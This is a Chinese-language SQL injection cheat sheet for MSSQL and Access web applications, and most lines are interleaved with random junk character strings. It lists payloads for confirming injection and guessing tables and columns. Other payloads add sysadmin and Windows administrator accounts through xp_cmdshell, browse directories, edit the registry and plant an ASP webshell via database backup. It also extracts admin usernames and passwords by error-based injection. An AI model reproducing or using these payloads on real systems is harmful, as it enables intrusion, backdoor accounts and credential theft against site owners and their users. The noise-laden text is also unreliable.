1.判断是否有注入
( F) a. }. z0 g;and 1=1 " `5 f% o+ [9 a( G. a( m, k- _0 D
;and 1=2
8 F' S+ j3 }( L
2 y# p% r6 Y a$ t( ?2.初步判断是否是mssql
^/ a) D7 j8 N! E: k;and user>0
" Z: y% r1 w& X* b" f- ~. r& Q! Z. R8 F' ~4 @4 L9 D" p
3.判断数据库系统
/ G. ?7 G$ G8 Z B;and (select count(*) from sysobjects)>0 mssql
; m/ J: _& Q( x8 ~7 h! g' b3 p;and (select count(*) from msysobjects)>0 access # F I4 l a! ^, C
9 I8 f) U, ^% f+ T* n( ^1 `2 F! ?1 z5 F4.注入参数是字符 # C$ R1 f0 s$ E0 } @% N
'and [查询条件] and ''='
/ c7 [; M* w( M8 h
% b5 A" _& w6 N5.搜索时没过滤参数的 , e/ `* n+ P3 _' L/ }* U
'and [查询条件] and '%25'='
# @9 \+ W- Y/ s1 l6 L2 O' J# l8 U( P( _; o* y& h
6.猜数表名 & t+ f8 m7 h6 q- Z
;and (select Count(*) from [表名])>0
! L3 U) V/ W3 G3 w9 t0 Q4 |, p% _& w1 _# c ^7 G
7.猜字段
" |$ Y" T$ |+ h( j! y' i;and (select Count(字段名) from 表名)>0 / Q! g' W) f0 R$ J
+ } B! L4 m6 D7 S
8.猜字段中记录长度 $ p- t4 K8 |! K" n, S# X8 U" v3 a( ~1 |
;and (select top 1 len(字段名) from 表名)>0 6 u6 }1 I4 ?5 c, V, V& V
4 u8 ] w$ Y: z; V5 z) P9.(1)猜字段的ascii值(access)
6 {2 v7 L* O: n& e;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 6 T5 Q. A: a0 C
$ D8 M$ Z; S% z1 W! H(2)猜字段的ascii值(mssql)
. K# u6 a7 H- o4 @$ }. `8 [;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
4 e* o3 v! g7 X( }% d
( z) n. W& l+ P' u10.测试权限结构(mssql)
" [+ c% j$ z0 z" J; r;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) A: R( p; [9 ]( e Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ R9 h$ A+ I& J, a;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- # r+ p1 f: _6 T# d
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ D) L% i* o1 x& q) h;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- % d$ P: D o2 Q8 g
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
$ C8 s U+ \, e# |: T" c! U3 ^0 O;and 1=(select IS_MEMBER('db_owner'));-- # d( q% |# E' Q9 M" [5 c
- S. I% x/ t3 r; k3 m; F. V6 c11.添加mssql和系统的帐户 & O2 {- _) j2 G, \2 l9 J
;exec master.dbo.sp_addlogin username;-- 8 x4 N5 M9 T. K, U- J5 M1 W
;exec master.dbo.sp_password null,username,password;--
" H2 D+ H" J% q: @5 X! b;exec master.dbo.sp_addsrvrolemember sysadmin username;--
2 M1 i7 M3 W \; F& A( T( [ V6 Z;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
. I- q* |; v& l; g! Q' \( w, {;exec master.dbo.xp_cmdshell 'net user username password /add';--
& n8 n! b- L: t" q. k/ v;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
' u) x! u+ r* n- y1 O1 d+ D7 @- H7 ^/ A+ f% P7 g
12.(1)遍历目录 6 \8 s- ~6 Z9 B2 I+ a7 ^
;create table dirs(paths varchar(100), id int) 1 L4 E4 S. _% ^1 v& l4 E
;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 A8 O. K' {4 n5 W;and (select top 1 paths from dirs)>0 ; Z( T' C/ L1 c* i* i7 _
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
$ @3 d4 k$ v6 M/ A. s7 O* U7 Z8 @! x( ?7 `1 P2 ^
(2)遍历目录
% k1 T5 r; p' X$ B9 j1 m;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3 {; e4 Y# }! K7 ]. M& u+ F( c/ v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
2 t) _1 p/ W* O5 l; R2 };insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! ^& {2 Y' Z9 S+ Q' e) S1 ]7 n4 ];insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 7 I9 S8 j5 x; Y! j4 p0 i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , c9 ]: g6 P `; y$ L
; D3 m" f- K$ k# Q. C# e' S13.mssql中的存储过程
1 P; s1 o2 }4 Z" }/ v8 _+ Rxp_regenumvalues 注册表根键, 子键 ( s- ]' e/ W4 U" Y; D7 p
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 c( u! Q, V/ u/ b) y9 Y
xp_regread 根键,子键,键值名
; \9 j9 R8 G% E! |7 _! Q;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
) L- P3 f9 f7 ^0 n8 U' Wxp_regwrite 根键,子键, 值名, 值类型, 值
h) M: }+ |+ o3 Y5 L, m, I. Y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 z l6 @) J8 b;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 % _% w9 I6 _. p Y
xp_regdeletevalue 根键,子键,值名 6 G( C' K( N+ K/ n+ H/ k- o0 V) E) T
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! F% N* u5 c" {' F8 G6 |2 Sxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
. F( I7 z" t H! I1 ^
, x0 o1 X$ O) m/ }& K14.mssql的backup创建webshell
$ d/ m1 z, O& ]# Z4 Euse model
+ @! s7 a% e2 L% X! s" H4 A- Rcreate table cmd(str image);
7 b/ ?4 W' Y- B6 m H" Pinsert into cmd(str) values ('<% Dim oScript %>'); 5 M& e4 F2 V8 k5 P
backup database model to disk='c:\l.asp';
& o f" D- Q( ~
! P2 f' ^1 C! X S9 M5 A' K0 ?15.mssql内置函数 # ], Y" K4 e* j# o) [' T$ Z8 f1 b
;and (select @@version)>0 获得Windows的版本号
0 f' ~- d1 Q$ J1 D+ R;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 F+ V6 l+ Z" s8 d
;and (select user_name())>0 爆当前系统的连接用户 / ]6 i( |* r* j+ g4 M2 c: V
;and (select db_name())>0 得到当前连接的数据库
+ X+ G6 W5 j2 e* k1 H$ G% f4 G. V) a! E; r
3 r% ]" d. |& \$ z
# }, H" G0 z$ S% q- qMSSQL手注暴库
/ D2 d6 g* J; n% E
2 V5 L o. }+ H0 ~: a1.暴出当前表名和列名
~# I7 L |8 ~) `/ S4 d在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
( r+ U& U3 v7 }) d+ X
) u# s% k3 |- `9 j( g' x" M0 e第一.爆出所有数据库名
3 G5 M( O$ L4 x& u( e F% @# N利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。: J3 I% F- ^$ x, G
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
3 Y! h0 [% E5 W- j3 J( y0 | ^- g& z" M5 q
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
! w A6 O, Q. ?) Y ^9 G+ c8 J; o/ i+ a+ ?- z
; ?) @$ E* o Q0 S; }0 l第二.爆出指定库中的所有表名
" F8 I% S2 f4 j: ^& R得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
4 x7 R1 K% s2 L再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
# n4 p( Y2 t6 i2 y0 h5 f
0 c8 c+ B+ f9 ?7 a# g6 Y7 ~% \5 z) Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
2 E. R2 d* p, x; rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ g. N- c" C9 ^- F2 X8 |/ E* F, O
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
' z$ L! E; C9 i% e+ j R2 {- s- N7 K$ f& x
4.爆出指定表中的所有列名; V; O% s D* r1 U/ o" y; q
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 r; p$ W1 `* K N
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
2 ?% l! {9 t0 e6 e
. k z8 A8 U- b/ @0 l" S0 Land 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名. v( |- N8 ^: t
2 J$ N; `0 O6 c& }' l
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
( q8 r. X5 x& D依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
: M( e" \: V8 a. |7 y1 Q
: c6 ^0 K9 `' \, q$ T) k, Y7 z( {
; m W- I8 |. Dand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值+ r" W+ U k' ]% T0 t8 L# ^' x1 ^2 f
8 t* H. ^5 X+ M' O8 `$ x6 A# Z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
; W: F' |; }" O3 d3 H7 [" R3 }# @2 E2 V4 q, s
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
# D3 N1 Q9 X0 k
$ y: I) j& d2 x
: A- H6 y! e/ c( @
" J$ P4 D- I9 I4 e8 f5.读取指定表中的数据
4 S S6 o: ^' C6 X0 {, n: f5 `; w
/ @% ^( |4 i, i1 w" Eand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 . w R- D$ D3 r) c1 G
( M( P/ Q; ]9 h# iand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
" O9 x9 a2 U; l! f; E, L
, U+ b7 }' E* @3 kand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 K0 `8 j4 X; H% f5 q1 N
1 q) G5 R6 X9 ?! O
$ |! R; u- S! t5 Band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
g3 N) K$ O- `0 o0 v. r; ]$ k ~/ r% g8 R) `$ y' o5 q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
9 p& J# I3 @) z9 T! S$ G
4 f! S! L5 R& }5 B4 s3 T: sand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--' e5 K* F0 u) o U
/ i2 A# o. \: _) v' C5 ]
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
- [% f1 _$ b8 @8 v- j3 q: G2 G9 w, f |